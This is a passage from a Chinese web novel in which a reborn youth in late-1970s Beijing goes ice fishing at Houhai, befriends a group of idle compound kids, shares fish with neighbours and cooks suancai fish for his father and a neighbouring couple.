高跃民显然不想提这件事情,他沉声说道:“好了好了,过去的事情就不要提了。小远,你明天去钓鱼,家伙事儿准备齐了没?” “我正想说这件事情呢,得麻烦小姑明天帮我弄卷化纤线,还得辛苦老爸您托工友师傅们帮我弯两个鱼钩。” “化纤线没问题,明天一早你跟我去厂里拿就行。” “鱼钩咱家有现成的,待会儿我给你找找,就不用麻烦厂里的工人师傅了。” 那就妥了。 高远笑着说声好,又拿起一个馒头吃了起来。 “半大小子吃穷老子。”张雪梅打趣了一句,还是把憋了两天的话问了出来:“话说你们俩考得怎么样啊?” 高远大言不惭道:“我觉得我没问题,题目不难,被录取基本上板上钉钉。” “吹吧你就。”高跃然撇着嘴,又叹声气道:“运气好的话,我能考上大专,本科是不敢想了,好在我报名的时候选择了服从调剂,要不然,连大专都没得上。” “大专也行啊,毕业后也是国家干部,国家给分配工作。”见她情绪不高,高跃民安慰了一句。 张雪梅也说道:“你二哥说得对,只要有学上,能顺利完成学业,毕业后就有一份稳定的工作。就是然然,你这个找对象的问题得提上日程了,你也27了,真想单一辈子不成啊?” 高远使劲点头:“嗯嗯嗯,对呢,再单着就真成没人要的老姑娘了。” 高跃然打他一下,脸通红,说道:“别起哄架秧子啊,你跟着裹什么乱呐!那个啥,二哥二嫂,我这事儿不着急。” 高跃民是知道情况的,自己这个小妹之所以找不到对象,说到底还是因为受大哥牵连所造成的。 没有哪个男青年愿意娶一个右派分子的妹妹当媳妇的。 没人愿意承担这种看不见摸不着,却真实存在着的巨大风险。 “我相信,随着邓老的再次出山,组织上一定会把大哥的情况搞清楚的,大哥距离被平反,应该也没多少日子了。到时候,咱们集全家之力,给小妹找个好对象。”高跃民活跃气氛道。 “二哥,你又拿我开涮。”高跃然脸红红的。 一家人开怀大笑起来。 吃过晚饭,高跃民从里屋找出了两个鱼钩递给高远,又拉着他在床边坐下,告诉他明天该去什么地方挖蚯蚓。 高远上辈子就是钓鱼佬,对京城各地儿的情况也非常熟悉。 但老爸好为人师,他也就耐着性子听着。 老爸滔滔不绝讲了一个多小时,心满意足了,去外面打水洗脚,准备睡觉。 高远也拿着脸盆接了些凉水回来,兑上热水,泡了个脚,泡去满身疲惫,上床休息。 在这个没有任何娱乐活动的年代中,人们大多早早休息。 有条件的家庭还能听段收音机,打发一下无聊的夜晚时光,买不起收音机的家庭,晚上的娱乐生活只能是夫妻二人造小孩儿。 所以,这个年代里每个家庭有三四个孩子司空见惯。 隔天高远睡了个懒觉,睁开眼时家里已经没人了。 老爸去上班了。 照顾了他两天的老妈一大早也回了乡下。 小姑见他睡得沉,没惊动他,给他留了张纸条,让他睡醒后去厂里找自己。 高远起床,穿好衣服后去水池洗漱了一番,不出意外,没看到刘婶出来。 洗漱完,他回到屋里,见桌子上有老妈特意给自己留的馒头、稀粥和咸菜条,他也不讲究,坐下后就开吃。 填饱肚子后拎着铲子和竹竿出了门。 先奔区纺织厂,用一根前进烟打通了门卫大爷的关系,顺利见到小姑。 从小姑手里接过一卷化纤线,高远问道:“多少钱啊?” 高跃然推了他一把,说道:“走人吧你,多钓点鱼啊,回头也给我送几条来。” 高远也不跟她客气了,笑着说道:“没问题,等着吃鱼吧您呐。” 说完就走,直奔后海,先按照老爸的指点挖了些蚯蚓,然后在后海北沿挑了个宽阔的水面开始凿冰。 12月的京城特别寒冷,小风吹在脸上,跟刀割一般。 高远费了半天劲才把厚厚的冰面凿开了15、6公分。 额头上见了汗,他的身子也暖和起来。 来之前,他又想起来一事儿,没有铅坠不行啊,于是便翻箱倒柜找了一个螺丝母带过来,绑在化纤线上充当铅坠。 又把鱼钩系好,把铲子上的冰碴子清理了一下,放在冰窟窿边上,往上一坐,挂上蚯蚓裹紧军大衣,这才不紧不慢地将鱼线投入到冰窟窿里。 此时的水温已经很低了,鱼儿缺氧,有点氧气灌进来,就会一窝蜂地朝窟窿眼这边游过来。 高远刚把线放进去,握进竹竿,就感觉到鱼线绷紧了。 他双手抓住竹竿猛地往上一提,很沉,确信这是中鱼了。 鱼儿在水里拼命扑腾着。 高远也跟它较起了劲,这个时候是不能硬往上拽的,越拽越容易脱钩,得慢慢瘤,等遛得鱼没那么大力气后,再往上一提,就成了。 六七分钟后,高远感觉到鱼儿没多大劲了,果断提竿,一条白鲢浮出水面。 他乐了,老爸说得对,运气不错,第一竿就中了条二斤多的鲢鱼。 第10章 顽主 看着这条个头不小的鲢鱼,高远很快就笑不出来了。 他蓦地发现一个悲催的事儿,忘记带水桶了。 这玩意儿往哪儿放啊? 虽说后海距离新开路胡同不算太远,从这里进入羊房胡同,经过小石碑胡同,走地安门东大街,460米后直行进入东单北大街,向西不远就是新开路胡同。 但步行来回也要小两个小时,还不够费劲的。 失误了。 高远一脑门儿,真不想再回去拿水桶装鱼。 四下里张望一下,他发现大冷天的,冬钓的人没几个,这也借不到水桶啊。 不远处倒是有几个顽主穿着厚实的衣服在冰面上滑行。 昨天晚上老爸还嘱咐自己,离这些人远一点。 四九城的顽主,把玩儿当成正经事来干,得会玩儿,得玩儿出花来,还得玩儿的兢兢业业。 这帮人以偷鸡摸狗、惹是生非为主业,茬架、茬琴、拍婆子为第二产业,他们是大京城里最游手好闲的一帮人。 虽然说顽主和家庭出身没有必然的关系,但纨绔子弟更容易进化成顽主。 因为玩儿,也是需要金钱作为支撑的。 京城里最著名的顽主毫无疑问是小混蛋。 小混蛋的故事在这里就不再赘述了,在今后四十年里,他的传说一直以各种小道消息在民间流传。 高跃民让高远离这些人远一点,就是担心刚学好的儿子跟这帮人接触上后又学坏了。 但高远不这么想,不务正业的顽主们未必都是不学无术的。 比如说眼下这条鱼没地方放,这就需要顽主们帮点忙了。 高远计上心来,把竹竿从鱼嘴里穿进去,抗在肩膀上小心翼翼地在冰面上挪动着步子。 走到顽主们身边时,他数了数人头,三男一女四个人。 男子大多20出头的样子,姑娘也差不多岁数,长得不赖,用老Bj话说,是个尖果儿。 尖果儿就是漂亮的女青年的意思。 反之,长残了的女青年叫涩果儿。 顽主们出来玩儿,带个漂亮姑娘那是标配,否则你就没面子。 高远故意放慢了脚步,上身摆动的幅度刻意加大了些,使得挂在竹竿上还没死透的白鲢打起了摆子。 啪啪抽打大衣的白鲢成功吸引了尖果儿的目光。 “咦,你们快看,好大一条鱼啊。”尖果儿停止了滑行,抓住身边一男青年的胳膊大声说道。 三个男青年也看过来,其中一人说道:“嚯!是不小,哥们儿你等等。” 上钩了。 高远心中欢喜,脸上却装成一副紧张兮兮的模样,停住脚步扭过头来,惶恐地问道:“大哥,您有事儿吗?” 四人滑行过来。 刚喊他那位有点自来熟,拍着他的肩膀笑呵呵说道:“你怕什么?我们又不咬人。” 他这话引得其他三位哄堂大笑。 高远嘿嘿一笑,一副腼腆的样子,挠着头说道:“没怕,三位大哥一看就是有痔青年,肯定干不出抢我鱼的勾当来,我没啥好害怕的。” 他心说,你咬人我还真不怕,大不了茬一架就完了,我怕你咬我的鱼,三抢一我可抢不过你们。 “哟呵,哥儿几个听到没有,这是拿话堵我们嘴呢。”这个瘦高个一看就是个领头的,他冲另两位眨眨眼。 那二位哥们儿也跟着起哄架秧子:“小伙子很机灵啊,还知道给我们打预防针。” “我跟你说哥们儿,别把顽主当流氓,你丫没经历过我们经历的残酷,也就不会拥有我们拥有的激情。” 这话也太绕了。 不过高远还是听明白了,不出意外,包括这个尖果儿在内,四人都是大院子弟。 因为高远在他们身上发现了同类人才有的熟悉气息。 “这位大哥,这点您真说错了,我也是大院儿出身,父辈现如今还在接受组织审查。”高远说着,目光中流露出一丝伤感来。 几位一听,互相对视一眼。 打头的那位再看向高远,目光就变得深邃起来:“自我介绍一下,我叫李红军,胖子是顾磊,他身边那位叫方建设,这婆子叫肖卫红。 小兄弟怎么称呼?哪个大院儿的?” “李哥好,顾哥、方哥、卫红姐你们好,我叫高远,学院路钢铁学院的,不过我大伯住在三号院,我小时候在大伯家住过两年。” 人帅嘴甜的高远很快赢得了四人的好感。 听完他的介绍,李红军立马笑了起来:“自己人啊,高远你大伯莫非是高跃华?” 高远点点头,说道:“没错儿,我大伯就是高跃华。” 胖子顾磊一拍脑门儿,说道:“我说怎么看你小子有点眼熟呢,原来在一个院子里当过邻居,我爸叫顾海东,老头儿跟你大伯是五纵的老战友。 那啥,兄弟,高叔叔还没出来吗?” 好嘛,这一下子就从哥们儿变成兄弟了。 高远点点头,颓丧地说:“没呢,还在接受审查。” 方建设挪过来,拍拍高远的肩膀说道:“哥收回刚才那句话,你小子也经历过我们经历的残酷。大家都一个情况,父辈还在遭受磨难,不过很快就会好起来的。” 尖果儿肖卫红乐观的展颜一笑,说道:“没错,一切都会好起来的。” 李红军问高远道:“这大冷的天儿,你怎么跑这里钓鱼来了?” 终于拐回到正题上来了。 高远笑笑,自嘲道:“还不都是胃缺肉闹的,肚子里没油水,只能自个儿想办法解决,不然我也不会齁冷的天儿跑到这冰面上来钓鱼打牙祭。” 李红军拍了拍已经冻死的白鲢,笑道:“这年头儿,吃不饱是常态,大家肚子里都缺油水,不过像你似的,这么执着地给肚子里添油水的可不多见。 你小子可以啊,还挺有主意。 这条鱼不小,拿回家炖豆腐,够一家人美美吃一顿的了。” 高远眼见着他情不自禁地吞口水,心里乐得不行了,主动把竹竿从肩膀上放下来,将鱼递给他,说道:“要不是没带水桶,我原本还能多钓一些。 今儿跟几位哥哥姐姐遇上了,聊起来大家都是熟人,我也没准备啥见面礼,这条鱼红军哥别嫌弃,拿回去炖了吃吧。” 他这么一说,李红军反倒不好意思了,推让道:“不合适不合适,我原本打算问问你卖不卖的,你送给我,我怎么可能白拿你的东西?好意心领了,真当哥儿几个不是外人,高远你就收回去吧。” 顽主好面儿,这点高远心知肚明。 见他不肯收,其他三位虽然眼馋,却也都摆着手,一副坚辞不受的样子,高远说道:“要不这样吧,红军哥能搞到水桶或者脸盆不?如果能搞到的话,我还能钓不少呢,钓上来后哥儿几个分分咋样?” 方红军哈哈大笑道:“搞几个水桶脸盆还不是小菜一碟,我跟你说,我家老头子被打倒后,我们一家就被赶到这后海来住了,我家就在后海南沿,你等着,我这就骑车回家给你拿水桶拿脸盆。” 说着,他嗖地滑走了,那叫一个利索。 顾磊、方建设和肖卫红对高远钓鱼产生了兴趣,跟着他走回到冰窟窿边上。 就这么一会工夫,冰窟窿上又结了一层薄薄的冰碴。 高远拿起铲子将冰碴子捅碎,又一屁股拍在铲子上,从内衣兜里摸出塑料药瓶,拧开盖磕出一条蚯蚓来,放在掌心中用另一只手轻轻一拍,蠕动着的蚯蚓立刻变得软趴趴了。 肖卫红瞪大了眼睛:“呀!这就软了?” 嗯? 高远看看她,嗯,穿着大衣也没遮盖住姑娘曲线玲珑的身材,他嘻嘻笑道:“想让它重新变硬,只能在它身上涂抹上胶水晾干了才行。” 你说的什么? 我听不懂。 肖卫红一脸懵懂。 顾磊和方建设对视一眼,哥儿俩同时露出男人才懂的笑容。 “你小子,也不是块好饼。”顾磊轻轻锤了高远一拳。 “嗯嗯,小小年纪经验丰富,平时没少拍婆子吧?”方建设补了一刀。 “二位大哥说得啥?我听不懂。”高远果断装傻充愣,往鱼钩上挂了蚯蚓,把鱼线顺到水里。 “嘿你个臭小子,跟我们哥儿俩还打马虎眼,真当顽主是好糊弄的?” 顾磊撸胳膊挽袖子,摆出一副黑恶势力的嘴脸来掐着高远的脖子使劲摇晃了起来,穷凶极恶地说道:“别跟哥哥说你还是个未经人事的小雏鸡儿,你的眼神已经暴露了你思想上的不纯洁。” 听了这话,肖卫红俏脸跟熟透的苹果一般,通红通红的。 她眉目含情打量着高远,下意识地裹紧了大衣。 高远耷拉着舌头,被顾磊晃得脑子有点晕。 这时候,手上一沉,鱼线绷紧了。 他忙说道:“哥,别晃了哥,上鱼了。” 顾磊这才松开手。 高远站起身,双手紧握着竹竿,让鱼儿在水底扑腾了一会儿,猛地提竿。 一条黑鱼跃出水面。 看着被甩到冰面上的黑鱼,方建设瞪大了眼睛:“这……怕得有五六斤重吧。” 黑鱼在冰面上啪啪摔打着。 高远出溜过去附身捡起来掂掂分量,笑着说:“肯定超过六斤了。” 第11章 主要怕出事儿 李红军提着两个水桶过来的时候,高远已经收获满满了。 他一看,冰面上有白鲢、黑鱼,最多的是鲫鱼,直眉瞪眼道:“鱼都傻了?这么好钓吗?” 顾磊把水桶接过来,和方建设一起往桶里装鱼。 “冬天里,鱼确实好钓,因为水面被冻结实了,水底缺乏氧气,砸开一个口子,氧气注入加上鱼饵的腥气,很容易吸引鱼儿上钩。”高远简单解释了一句。 又一尾二两重的鲫鱼被他钓了上来。 李红军也跟着忙活起来,两个水桶很快被鱼装满。 高远冻得直打哆嗦,棉鞋都被冻透了,双脚冰凉。 他收了杆,看一眼满满两大桶鱼,会心一笑,心满意足,又说道:“红军哥,您挑一桶吧。” 李红军搓着手,不好意思地嘿嘿笑着,说:“那我就不跟兄弟你客气了哈,大冷天的能吃上口鲜鱼,说实在的我也拒绝不了这个诱惑。” 他看了看两只水桶,从一只桶里拿了两条黑鱼放进另一只水桶中,然后把鱼少的水桶提起来,又道:“我就来这桶了,高远,我替兄弟们谢谢你。 我们哥儿几个就在后海这片儿混,今后你有啥解决不了的事情只管招呼我们,能办的,哥儿几个一准儿给你办的妥妥当当的。” 意思是,这桶鱼他没打算独吞,要跟哥儿几个分了吃,让每个人都打打牙祭。 当然,他对高远的感谢也发自内心。 顾磊也说道:“你小子对哥儿几个的脾气,仗义、局气,以后有事就开口,万一遇到麻烦了,我们不在,报我们几个名字,在这片儿还算好使。” 方建设笑着点头,表示两人说得没错。 高远没再跟他们客气,收下了那两条黑鱼,顺势笑着答应下来,说有事儿一定找三位哥哥帮忙。 他也能看得出来,这几位本质都不坏,只是受大环境影响,把路走歪了。 拎起水桶,高远对李红军说道:“红军哥,这水桶我先借用,过个几天我再来钓鱼时给您带回来。” “一个铁皮桶而已,你用着就是了,不用惦记着还给我。”李红军对高远印象不错,局气的摆摆手,毫不在乎地说道。 从电报大楼的方向传来十一声钟响,意味着已经中午十一点了。 高远收拾收拾装备,拎着水桶跟随四人往岸边走去。 肖卫红跟他并肩前行,姑娘轻声问他道:“小高你参加今年的高考没?” 高远笑着回答道:“参加了,自认为考得还不错。卫红姐别这么见外,以后叫我小远就行。” 肖卫红脸一红,低着头瞄脚尖,又问他道:“你跟谁都不见外吗?” 高远一愣,回过味儿来,立马说道:“那倒不是,我只是觉得您比我大,我都喊您姐了,您再一口一个小高喊我就有些外道了。” 这妞儿不知道是前面那哥儿仨谁的婆子,可不能乱拍。 这点警惕性高远还是有的,万一拍错了,引起误会可就不值当的了。 再有就是,高远十七岁少年的脑袋里,藏着六十多岁的传统思想。 虽说他很快适应了这具健硕的躯体,见到美女也会火烫梆硬,但还没到见色起意的地步。 还有最重要,也最让高远忌惮的一点就是,在这个思想老旧的年代中,大家都讲究一个不以结婚为目的的谈恋爱就是耍流氓。 不像后世,男人女人们闪婚闪离就像拉屎放屁一样稀松平常。 这年头儿,离婚是件很羞耻的事情。 夫妻之间讲究伉俪情深,谁家孩子离了婚,是会被街坊邻居在背后指指点点,议论半年的。 当然,大家对小青年们的容忍度要宽泛一些,但也没容忍到你今天泡个马子,明天拍个婆子,换女友比换衣服都勤的程度。 上辈子的高远孤身一人,这辈子他当然想结婚成家,想老婆孩子热炕头了。 但什么姑娘能招惹,什么姑娘见了就得躲得远远的,高远心里是有数的。 肖卫红这种姑娘,就是高远不能碰的,她跟顽主纠缠不清,对高远来说,危险系数太高了。 听了高远的话,肖卫红神情有些萧索,觉得挺没意思的,姐弟相称啊。 这个弟弟在担心什么她心里跟明镜似的,苦涩一笑,姑娘说道:“那就说好了,今后你喊我姐,我就喊你小远了,你不许不认我这个姐姐。” 你还挺洒脱。 这是高远没想到的。 他笑着说:“说好了,以后您就是我亲姐。” 这家伙纯粹打哈哈,敷衍的态度是个人就能看得出来。 肖卫红长得再漂亮,在高远心目中,比亲姐姐高雅也差出一条银河系去。 几人在北河沿分别。 临走前李红军还问高远:“要不要骑自行车送你一程?” 高远婉拒了,说:“没几步路,我走回去就成。” “那你慢走,回头有时间再过来找我们玩儿。” “好的,我记下了红军哥,抽时间一定会来找三位哥哥和红姐玩儿的。” 高远又跟那三位打过招呼,这才慢悠悠向南走去。 他拎着满满一大桶鲜鱼走进胡同的时候,引发了邻居们的轰动。 在这个季节里能吃上条鲜鱼,喝上口鲜美的鱼汤,那就是赛神仙的生活。 秦大爷先发现了高远,他一瞧高远手中的铁皮桶,见里面全是鱼,嚯了一嗓子,惊叹道:“个顶个的肥实啊,小远你这是跑哪里钓鱼去了?” 高远肯定不会暴露目的地,他回答道:“护城河呗,别的地儿也没这么大个的鱼啊。给您老来一条?” 秦大爷咽了咽唾沫,摆手拒绝道:“不了不了,你辛辛苦苦钓上来的,我白拿你的不合适。” 高远笑着从桶里捞起一条白鲢来,塞进秦大爷手中,说道:“我们家自打搬过来以后,没少给您老添麻烦,这条鱼就当我孝敬您的,您可千万别拒绝。” 秦大爷差点热泪盈眶,双手抱着白鲢感慨道:“小远子,你确实长大了,也成熟了,大爷真替你爹妈高兴啊。好,既然是你孝敬大爷的,大爷就不跟你矫情了,今儿晚上就吃它了。” “蒜香的,烹饪出来味道更佳。”高远还给秦大爷指点了一句。 白鲢这种鱼,肉质比较粗糙,肌间小刺也多,食用起来很费劲,也就严重影响了它的口感。 好在这个年代里大家都没那么多讲究,有口肉吃就是幸福生活。 秦大爷笑了笑,说道:“你还会做饭呢?嗯,听起来是个不错的主意,我跟你大妈说一声,让你大妈就这么做。” 高远当然会做饭了,上辈子一个人生活时,别的没学会,倒是练了一手好厨艺,总不能顿顿吃外卖吧,外卖大多是地沟油、预制菜,吃多了很伤身体的。 爷儿俩说话间,又有几个邻居围了过来。 看着高远手里的铁皮桶,对门常老五试探着问道:“远子,你这鱼卖不?能不能卖我一条?” 高远想都不想就拒绝了:“不好意思啊五叔,这鱼不卖,我们一家人都不一定够吃的。” 常老五撇撇嘴,揶揄道:“可算了吧,你们一家就三口人,怎么能吃得了这么多鱼啊?” 高远冷笑一声,怼过去道:“您忘了,我还有大伯,还有小姑,我母亲那边也有我的长辈。这年头儿,家家户户都不容易,我费劲巴拉地钓了这么几条鱼,不就是为了给家人们改善一下生活吗? 分吧分吧就不剩几条了,您要是想吃鱼,赶明儿自个儿去护城河边上钓就是了,又没人拦着你。” 一番话把常老五说了个大红脸。 他一想,高远家的情况确实特殊,明面上是一家三口住在胡同里,背后却有个大家族。 再者说,数九寒冬的,高远顶着冷空气把鱼钓上来,也着实不容易,自己一个长辈,也确实不好占孩子这个便宜。 算了,不卖就不卖吧。 他尴尬笑了两声,转身回院里了。 不过高远的话却给常老五提供了一个发财致富的好思路。 他边走边琢磨着,赶明儿我也去护城河钓鱼,钓上来后偷偷卖了,就算发不了大财,换几个小钱贴补贴补家用也是极好的。 凑热闹的邻居们都跟常老五一个心思,想在高远手里买鱼吃。 见常老五碰了钉子,大家也就都熄了这个心思,满脸遗憾的转身各回各家。 秦大爷笑得满脸褶子:“小远啊,你是个孝顺孩子。” 高远往他跟前凑了凑,低声说道:“大爷,不瞒您说,我主要怕出事儿,这年头儿,人心隔肚皮,我若是把鱼卖给街坊四邻了,结果被某个心怀鬼胎的家伙把我告了,给我安上个投机倒把的罪名,我就得不偿失了。” 秦大爷琢磨琢磨,冲高远竖起个大拇指,说道:“爷们儿,你是这份儿的,在这个世道中,心思就该缜密一些。 就像你说的,画皮画骨难画虎,知人知面不知心,总之小心无大错。 你能把这事儿琢磨明白,大爷就放心了。” 高远笑着说:“大爷,我不跟您聊了哈,钓了一上午鱼,还没吃口饭呢,我回家下碗面条吃。” “去吧。”秦大爷面露欣慰的笑容。 第12章 厨艺了得 高远回到家,先把鱼放进屋里。 大冷天的,倒不怕鱼坏掉。 但也得快点吃完,即便在严寒天气下,也储存不了几天。 他又去水池边接了盆凉水回来,倒进水桶里,想了想,还是觉得不保险,因为炉子盖一打开,屋里的温度就上升了,鱼臭了,一上午就白忙活了。 于是又把水桶拎到厨房边上,找了块木板压在桶上面,又在木板上放了两块砖头。 这年头儿,野猫野狗很多,尤其是野猫,一到了夜晚满胡同乱窜,这桶鱼根本就不够野猫祸祸的。 把砖头压实,高远拍拍手,拉开门走进厨房,下了碗清汤寡水的挂面,待挂面煮熟,盛到粗瓷碗中,搁点酱油醋拌一拌,就是一顿简单的午餐。 他也没回南屋,拽了个马扎过来,坐下后抱着碗大口吸溜。 吃完后又去水池边把碗洗干净放回碗橱,关好厨房的门,这才回了房间。 肚子里有了食儿就容易犯困。 左右无事,高远索性把衣服一脱,只穿着秋衣秋裤钻进被窝,没多大会儿就迷糊过去。 一觉醒来时,天已经擦黑了。 高远伸了个懒腰,跳下床,穿上棉衣棉裤蹬上棉鞋…… 很快又把脚从棉鞋里缩了回来。 在冰面上站了一上午,棉鞋里潮乎乎的。 他从床底下找出硬板儿塑料拖鞋穿上,将棉鞋放在炉子边炙烤着。 这一烤,那个味儿散发出来,跟咸带鱼似的,顶鼻子。 窗户是不敢开的,南屋是倒座房,本就阴冷潮湿,搁封建社会,是下人们住的地方,窗户一开,冷风灌进来,这屋子就没法待人了。 高远对这个居住环境越发不满意了,心里琢磨着,得撺掇着父亲赶紧回学院要房去。 不是说年前就要回学院报到吗,如果能在年前把房子要回来,一家人就能在楼房里过年了。 高远强忍着刺鼻的味道,快步走出屋子,关门时特意留了条缝,想着多少进点风也能净化一下屋里浑浊的空气。 他把砖头取下来,掀开木板,见被注入进去的水已经结成了冰,鱼儿们被冻得结结实实,去厨房里拎过来一把斧头,摁住水桶边沿三两下将冰砸开,捞出今天收获的唯一一条鲤鱼来。 接着又拿了剪刀,跑到水池子前,拧开水龙头,结果水龙头也被冻上了。 高远无奈,把鲤鱼放进水池,又跑回屋里拿了暖瓶回来,把热水一点点浇在和水龙头连接的铁管上解冻。 凉水冒着白色水蒸气流出来,高远停止了动作,将聚丙烯暖瓶盖塞进瓶口,放下暖瓶开始处理这条鲤鱼。 先刮鱼鳞,然后开膛破肚,将内脏和鱼鳃取出来,最后整条鱼冲洗干净。 让高远感到高兴的是,这条鲤鱼肚子里居然有一大坨鱼籽。 这可是好玩意儿,营养价值极高,炖鱼时一起搁锅里,好好给老爸补补身体。 高远美滋滋地想着。 当太阳下了山,安静了一天的院子里也热闹了起来。 其他三家住户都在各自搭建的简易厨房里忙活晚饭,丝丝缕缕的烟火气夹杂着锅碗瓢盆的碰撞声形成了一首美妙的交响曲。 西屋的李凤芝端个盆掀开门帘子走出来,见高远正在收拾鱼,他手里的鲤鱼足有四五斤。 李凤芝的眼神一下就亮了。 “哟,小远,这鱼可不小,你买的?”李凤芝快步走过来,一眨不眨望着鲤鱼。 “凤芝嫂子啊,这天儿上哪儿买鲜鱼去,我钓的,运气不错,钓了条大个的。” 要说这个院子里不让高远感到厌烦的,就只有李凤芝两口子了。 李凤芝的丈夫王立伟是转业军人,从部队回到地方后被安排在区房管局工作。 王立伟铁骨铮铮,很有军人风范。 更加难得的是,王立伟跟老爸能聊到一起去。 两人有个共同的爱好,都喜欢下象棋,空闲的时候经常凑一块儿切磋棋艺。 李凤芝在街道办的塑料厂上班,年纪不大,已经是车间副主任了,她的主要工作是生产加工塑料凉鞋。 两口子人缘好,也不爱掺和事儿,每天按部就班的上班,按部就班的下了班回家做饭。 高远记得,上辈子老爸把这套院子要回来后,动员三个住户搬家,第一个响应的就是凤芝嫂子两口子。 王立伟主动找到单位领导,摆事实讲道理,强调家庭困难,很快就分到了房搬了出去。 这让高远对他的好感又加深了一层。 不像北屋的魏红霞一家人,还有东屋的刘前进一家,任由老爸磨破了嘴皮子,就是死赖着不肯走,让老爸头疼得很。 “也是,这大冷的天,副食店里可没有鲜鱼卖,有,也是冻鱼,好一点的带鱼3毛8,咸鱼5毛钱,你这条鲤鱼,拿到副食店里售卖,怕不得7、8毛钱一斤了吧?”李凤芝肉眼可见地吞咽口水。 这年头儿,物资匮乏,平头百姓想敞开肚皮吃顿肉是真的难。 高远明白凤芝嫂子的心思,见她不好意思张嘴直说,就先开口了:“我立伟哥回来了没?” “还没呢,估摸着再有半个小时也该到家了。” “那晚上一起吃呗,这条鱼挺肥,我和我爸两个人也吃不完,我炖了,让立伟哥陪我爸喝一盅。” 李凤芝把脸盆里的水倒掉,放下脸盆搓着手说道:“不合适,不合适,你顶风冒雪费劲巴拉钓上来的鱼,我和你哥不好沾这个光。” 高远一挥手,说道:“咱们两家就别见外了,就这么说好了,晚饭您别做了,来南屋吃。” 见他说得真诚,李凤芝不好意思地笑了笑,点头答应下来,又说:“小远你等等啊,嫂子给你拿颗酸菜,你切成丝炖鱼的时候搁里面,味道还能好一些。” 说着,她奔厨房,不大会儿拿了颗酸菜回来递给高远。 酸菜鱼啊,难度不小,但高远也会做。 他接过来,笑呵呵说道:“得嘞,您等着吃现成的吧,我去厨房忙活起来。” 李凤芝也笑着说:“嫂子再给你添两个菜。” 这时候,关系不错的邻里之间串门子讲究一个不空手。 人也都朴实,家里有啥好吃的,也乐于跟交好的邻居们分享。 高远笑笑说声好,一手酸菜一手鲤鱼回了厨房开始制作。 他先把鱼放在切菜墩子上,操起菜刀把鱼肉斜着片下来,鱼骨剁块备用。 然后磕了个鸡蛋,取蛋清放进大碗里,又找了瓶63°二锅头倒了一瓶盖倒进去,接着把鱼片倒入,抓匀后腌制去腥。 下一步就是洗酸菜,将酸菜洗好后攥干水分切丝。 切好姜片、葱丝、蒜片后起锅烧油。 油是菜籽油,等油温上来后,放入姜片、葱丝、蒜片爆香,再放入酸菜炒个两三分钟,炒出水分、锅气,倒入开水,把鱼骨、鱼泡、鱼籽也放进去。 煮制十多分钟后,鱼汤入了味儿,才把鱼片一片片顺着锅沿下到锅中,等鱼片稍稍定型,用筷子搅散。 再等鱼片变了色,这时候就可以加盐、味精、白糖和胡椒粉调味了。 前面说过,这年头物资匮乏,但家庭必备的调味料还是能够买到的。 也是限量供应。 高远把鱼盛出锅,一股脑倒进大碗中,刚端到南屋里,老爸也到家了。 “哎哟,好香啊,小远你做的?”进了屋,香气钻进了高跃民的鼻子,走近了一看,满满一大碗酸菜鱼散发着鲜香,高跃民扭头问高远道。 高远拿来了筷子,笑着说:“昂,我做的,今儿运气不错,钓了不少大鱼,这是唯一一条鲤鱼,西屋的凤芝嫂子给了颗酸菜,我就炖了锅酸菜鱼给您尝尝。” “闻着味道不赖,你说你会炖鱼,爸还以为你吹牛,没想到你小子真会啊,你跟谁学的?”高跃民疑惑地问道。 这个…… 高远早想好了说辞,他说道:“您也知道,高中毕业后我无所事事,跟张大龙满四九城瞎晃。大龙的父亲看不惯,就给我俩找了点事儿干。 张叔在轧钢厂食堂当厨师,就让我俩去食堂里帮厨。 我见他厨艺了得,尤其擅长做鱼,就跟他学了几手。” 轧钢厂可是个好地方啊,不仅有张叔,也有傻柱,还有风骚的秦淮如…… “艺多不压身,有门手艺傍身,起码今后不用担心吃不上饭。”高远的解释就这么被高跃民接受了:“去喊你立伟哥两口子一声,让他俩过来吃吧。” “小远别动了,我和凤芝不请自来。”王立伟撩开门帘子推门走了进来。 李凤芝跟在他身后,端着两盘菜,一盘大葱炒鸡蛋,一盘凉拌白菜心,都是下酒的好菜。 “叔,今儿沾小远的光了,我们两口子也能吃上口鲜鱼。”王立伟摸出烟来递给高跃民一根,笑容灿烂道。 高跃民笑着把烟接过来,王立伟擦着了火柴帮他点上,他抽一口后嘴角上扬:“这小子运气还不错,大冷的天居然让他钓了条鲤鱼。 立伟你也别说啥沾光不沾光的,隔三岔五你弄回来点荤的素的也没少往我家送。 坐,你俩快坐,我去拿瓶酒,咱爷儿俩喝一盅。” 第13章 进度表得提前了 高跃民不是个古板的人,他也抽烟喝酒。 起初是只喝酒不抽烟,染上烟瘾是因为被下放劳动后心情郁闷,偶尔抽一根解解闷,没成想抽着抽着就有了烟瘾。 高远也会抽烟,烟瘾也不小。 见老爸奔里屋了,他从王立伟手里把八分一盒的经济烟抢过来猛吸了一口,喷出一大团烟气。 嗯,爽了。 王立伟目瞪口呆,指着他想说点啥。 “嘘!淡定,抽口烟而已,没啥好大惊小怪的。”高远低声说道,顺便把烟又递还给他。 “你个臭小子,真是一点好都不学啊,你才多大,就学会抽烟了?”王立伟接过烟来,笑骂他一句。 “这玩意儿还用学吗?看也看会了。立伟哥,你这烟也太难抽了,抽一口,满嘴烟沫子。” 这时候有段顺口溜:省中华,市牡丹,高级干部辽叶烟。年轻小伙大生产,工人阶级两毛三。贫下中农大烟袋,小毛孩子八分钱。 这个“八分钱”,说得就是经济烟。 高远不明白,按理说王立伟这个国家干部,不应该抽档次这么低的香烟。 以他的工资水平,抽不起中华、牡丹,抽稍微好一点的大前门、光荣、飞马还是不成问题的。 王立伟苦笑道:“你以为我不想抽点顺口的烟啊,你哥我老家是农村的,家里上有六十岁的父母,下有四个弟弟妹妹,全家就我一人儿在京城工作。 家庭负担太重了,见月都得往家里寄钱,能有包烟抽就很知足了,可不敢再得陇望蜀,奢望抽啥名牌香烟了。” 高远拍拍他的手背,不再提这茬了。 现阶段大家的日子都不好过,农民有农民的苦,有些话说出来,不仅起不到安慰的作用,只会给别人添堵。 高跃民拿了瓶二锅头过来。 高远接过来,拧开瓶盖给老爸和立伟哥各倒了一杯。 这酒具叫八钱杯,也就是说一杯不到一两,在京城老百姓家中很常见。 酒倒满,高跃民笑着问高远:“你不喝点儿吗?” “我……可以喝点儿吗?”高远愣愣地反问老爸。 高跃民乐了:“过了年你也18岁了,到了喝酒的年龄,爸不限制你抽烟喝酒,你自个儿掌握个度就成。” 高远笑逐颜开,也拿了个杯子倒了一杯,端起酒杯跟老爸、立伟哥碰了一下,浅抿了一口。 哎呀,舒坦。 